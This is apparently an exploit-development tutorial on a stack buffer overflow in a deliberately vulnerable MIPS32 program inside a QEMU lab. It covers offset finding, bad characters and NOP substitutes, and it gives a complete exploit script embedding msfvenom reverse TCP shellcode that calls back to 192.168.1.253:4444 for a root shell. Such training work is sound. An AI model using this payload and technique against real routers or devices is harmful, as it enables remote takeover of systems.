MIPS32 Buffer Overflows

MIPS (Microprocessor without Interlocked Pipeline Stages) 32-bit processors are used in a number of embedded devices, such as routers.

MIPS is a Reduced Instruction Set Computing (RISC) architecture developed in the 1980s by MIPS Computer Systems (later acquired by Silicon Graphics), and it has been widely used in embedded systems, networking hardware and consumer electronics.

Development of the MIPS architecture was ended in 2021 by it’s current owners Wave Computing, in favor of RISC-V based systems.


Setting up a Development Environment

A MIPS32 (little endian) QEMU image can be downloaded from here: https://blahcat.github.io/qemu/. You want the file called mipsel_stretch.zip.

Run the start.sh script, and qemu should run the system. To enter the QEMU menu at any point (for instance to take snapshots), press CTRL+A, release both keys then press the letter ‘C’.

Most MIPS devices I’ve come across have ASLR turned off. It can be disabled in the image using the following command (this will need to be done each reboot).

echo 0 > /proc/sys/kernel/randomize_va_space

Target Vulnerable Application

We will be exploiting the following application. The program will use the fgets function to read 1000 characters of user input, then attempt to place the output into a 32 byte buffer. As such, it’s vulnerable to a stack based buffer overflow.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void check_password() {
  char password[32];
  puts("Password:");
  fgets(password, 1000, stdin);
  if(strcmp(password, "bordergate\n") == 0) {
    puts("pass\n");
  }
  else {
    puts("fail\n");
  }
}

int main(int argc, char **argv) {
  check_password();
  return 0;
}

Compile it using:

gcc -no-pie  -fno-stack-protector vuln.c -z execstack -o mips_prog

Find the Program Counter Offset

To start, we need to identify which offset overwrites the return address (RA) and therefore the program counter (PC) register. Generate a cyclic pattern with Metasploit:

/usr/bin/msf-pattern_create -l 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

Put this output in a text file, and run GDB with this file as input. We can see the PC has been overwritten with 41326241.

root@debian-mipsel:~# gdb ./mips_prog 
Starting program: /root/mips_prog < output.txt
(gdb) info registers 
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 00000001 00000006 ffffffff 77fc8d7c ffffffff 00000001 00000000 
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   00000000 00000003 00000001 00000008 8cf49eb4 00000080 00000000 77fc6cc0 
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  00000000 00400920 77ffeedc 00000000 00000000 00541728 0053fd08 00000000 
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000001 77f24834 fbad2a84 00000000 00418ab0 7fffece0 31624130 41326241 
        status       lo       hi badvaddr    cause       pc
      0000a413 00000000 00000000 41326240 10800008 41326241 
          fcsr      fir  restart
      00000000 00739300 00000000 

Use msf-pattern offset to lookup the value (41326241).

msf-pattern_offset -l 500 -q 41326241
[*] Exact match at offset 36

So, we know the program counter is overwritten after 36 bytes.


Verify the Offset & Determine Shellcode Location

Verify the offsets are correct using Python.

root@debian-mipsel:~# python -c "print('A'*36 + 'B'*4 + 'C'*50)" > fuzz.txt
root@debian-mipsel:~# gdb ./mips_prog 
Reading symbols from ./mips_prog...(no debugging symbols found)...done.
(gdb) run < fuzz.txt 
Starting program: /root/mips_prog < fuzz.txt

Password:
fail

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) 
(gdb) info registers 
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 00000001 00000006 ffffffff 77fc8d7c ffffffff 00000001 00000000 
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   00000000 00000001 00000001 00000008 8caefeb4 00000080 00000000 77fc6cc0 
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  00000000 00400920 77ffeedc 00000000 00000000 00541728 0053fd08 00000000 
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000001 77f24834 fbad2a84 00000000 00418ab0 7fffece0 41414141 42424242 
        status       lo       hi badvaddr    cause       pc
      0000a413 00000400 00000000 42424242 10800008 42424242 
          fcsr      fir  restart
      00000000 00739300 00000000 

Examining the stack pointer, we can see our C characters are being inserted after 40 characters. Take a note of the stack pointer address (0x7fffecdc).

(gdb) x/100x $sp-4
0x7fffecdc:	0x42424242	0x43434343	0x43434343	0x43434343
0x7fffecec:	0x43434343	0x43434343	0x43434343	0x43434343
0x7fffecfc:	0x43434343	0x43434343	0x43434343	0x43434343
0x7fffed0c:	0x43434343	0x000a4343	0x00000000	0x77e60498

Identifying Bad Characters

Use Python to create a file containing all possible hex values (excluding 0x00, since we’re assuming that’s almost always bad).

buf =  b"A" * 36
buf += b"B" * 4

buf += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x112\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
buf += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x332\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
buf += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x552\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
buf += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x772\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
buf += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x992\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
buf += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xbb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
buf += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xdd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
buf += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xff2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

with open('output.txt', 'wb') as f:
        f.write(buf)

Run the program in GDB and look for characters that have been corrupted. Here we can see 0x0a should be followed by 0x0b. It’s not, so we can assume 0x0a is a bad character. Keep iterating through this process until all bad characters are identified.

(gdb) x/100x $sp
0x7fffece0:	0x04030201	0x08070605	0x00000a09	0x77ffeedc
0x7fffecf0:	0x00418ab0	0x00510000	0x00000000	0x77e604d8
0x7fffed00:	0x00000001	0x7fffedd4	0x00000000	0x00000000
0x7fffed10:	0x77fcee00	0x00000000	0x77e60498	0x7fffed00
0x7fffed20:	0x00000000	0x00400920	0x77ffeedc	0x00000000
0x7fffed30:	0x00000000	0x00541728	0x0053fd08	0x00000000
0x7fffed40:	0x00000000	0x77fcee00	0x00000000	0x77ffa290
0x7fffed50:	0xffffffff	0xffffffff	0xffffffff	0xffffffff
0x7fffed60:	0xffffffff	0xffffffff	0xffffffff	0xffffffff
0x7fffed70:	0xffffffff	0xffffffff	0xffffffff	0xffffffff
0x7fffed80:	0x00000000	0x77fe4074	0x00000000	0x00000000


Creating an exploit

We can generate reverse shell shellcode with MSFVenom excluding our two known “bad” characters.

msfvenom -a mipsle -p linux/mipsle/shell_reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f python -b '\x0a\x00'

We will also need a NOP instruction. NOP in MIP32 contains a number of NULL bytes, so can’t be used. Instead, we can just include an instruction that changes a register we don’t care about. In this case, the $s0 register will be incremented.

add $s0, $t0, $t0

This instruction can then be converted to hex by using a website like this one; https://mips-converter.jeffsieu.com/, which provides the value 0x01088020.

We can now add all the pieces together.

buf =  b"A" * 36                     # Padding
buf += b"\xf0\xec\xff\x7f"           # Address of shellcode 

# 0x01088020 Our NOP instruction. add $t0, $at, $t0 - add $at to $t0, store the result in $t0
buf += b"\x20\x80\x08\x01" * 32               

# MSFVenom shellcode Bad chars =  0x00 0x0a
# msfvenom -a mipsle -p linux/mipsle/shell_reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f python -b '\x0a\x00'
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21"
buf += b"\xfd\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24"
buf += b"\x0c\x01\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f"
buf += b"\xfd\xff\x0f\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf"
buf += b"\x11\x5c\x0e\x3c\x11\x5c\xce\x35\xe4\xff\xae\xaf"
buf += b"\x01\xfd\x0e\x3c\xc0\xa8\xce\x35\xe6\xff\xae\xaf"
buf += b"\xe2\xff\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01"
buf += b"\x4a\x10\x02\x24\x0c\x01\x01\x01\xfd\xff\x11\x24"
buf += b"\x27\x88\x20\x02\xff\xff\xa4\x8f\x21\x28\x20\x02"
buf += b"\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24"
buf += b"\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff\x06\x28"
buf += b"\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf\xaf"
buf += b"\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf"
buf += b"\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24"
buf += b"\x0c\x01\x01\x01"

with open('output.txt', 'wb') as f:
        f.write(buf)

Running our exploit in GDB, we should be able to catch a shell:

nc -lvp 4444
Listening on 0.0.0.0 4444
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/hostname
debian-mipsel

Running outside of GDB

Attempting to run the exploit outside of GDB, we see the application crashes.

cat output.txt | ./mips_prog 
Password:
fail

Illegal instruction

Ensure coredumps are collected using the ulimit command.

root@debian-mipsel:~# ulimit -c unlimited

Now a crash should produce a coredump we can analyse.

cat output.txt | ./mips_prog 
Password:
fail

Illegal instruction (core dumped)

Reviewing the core dump, we can see outside a debugger the PC overwrite address we used (0x7fffecf0) actually points to our ‘A’ characters rather than our buffer.

gdb -q ./mips_prog ./core
Reading symbols from ./mips_prog...(no debugging symbols found)...done.
[New LWP 631]

(gdb) info registers 
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 00000001 00000006 ffffffff 77fc8d7c ffffffff 00000001 00000000 
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   00000000 00000003 00000001 00000008 8b7adeb4 00000080 00000000 77fc6cc0 
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  00000000 00400920 77834edc 00000000 00000000 006de9e8 006c5208 00500000 
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000001 77f24834 00000000 00000000 00418ab0 7fffed00 41414141 7fffecf0 
            sr       lo       hi      bad    cause       pc
      0000a413 00000000 00000000 00413014 0080002c 7fffecf0 
           fsr      fir
      00000000 00000000 

(gdb) x/20x $pc
0x7fffecf0:	0x41414141	0x41414141	0x41414141	0x7fffecf0
0x7fffed00:	0x01088020	0x01088020	0x01088020	0x01088020
0x7fffed10:	0x01088020	0x01088020	0x01088020	0x01088020
0x7fffed20:	0x01088020	0x01088020	0x01088020	0x01088020
0x7fffed30:	0x01088020	0x01088020	0x01088020	0x01088020

Modify the exploit code to use 0x7fffed10 instead, and it should work. We’re avoiding 0x7fffed00 simply because it contains a null byte.

(cat output.txt ; cat) | ./mips_prog
Password:

fail

nc -lvvp 4444
Listening on 0.0.0.0 4444
id
nc: getnameinfo: Temporary failure in name resolution
uid=0(root) gid=0(root) groups=0(root)

In Conclusion

Despite the development of MIPS architecture being halted, there are still a lot of these CPU’s in use in embedded devices – and they often have common memory corruption protections such as ASLR and NX/XN disabled.